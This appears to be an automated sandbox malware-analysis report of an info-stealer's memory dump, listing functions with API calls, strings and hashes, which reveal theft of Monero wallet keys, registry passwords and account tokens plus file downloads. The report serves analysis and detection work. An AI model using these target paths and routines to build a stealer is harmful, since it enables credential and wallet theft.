Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction ID: 2d64d6a561879fca44fb71c04a0a84c7ebf7a9ed2d970630d286a4d87e6dc5bb
Opcode Fuzzy Hash: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction Fuzzy Hash: 955165B1D5011897CB15FB61DD91FED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,01266020), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3
a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 004172AE, 00417179, 0041717C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(33738020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(33738020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(33738020, : ), ref: 0040765A
lstrcatA.KERNEL32(33738020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(33738020,00421804), ref: 004076A0
lstrcatA.KERNEL32(33738020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(33738020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

\, xrefs: 00417560
C, xrefs: 0041754C
:, xrefs: 0041755C

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,012671C8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,0125EA28), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,01266650), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01267120,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01267120,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BABA
AccountTokens, xrefs: 0040BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1803836286.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1803836286.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
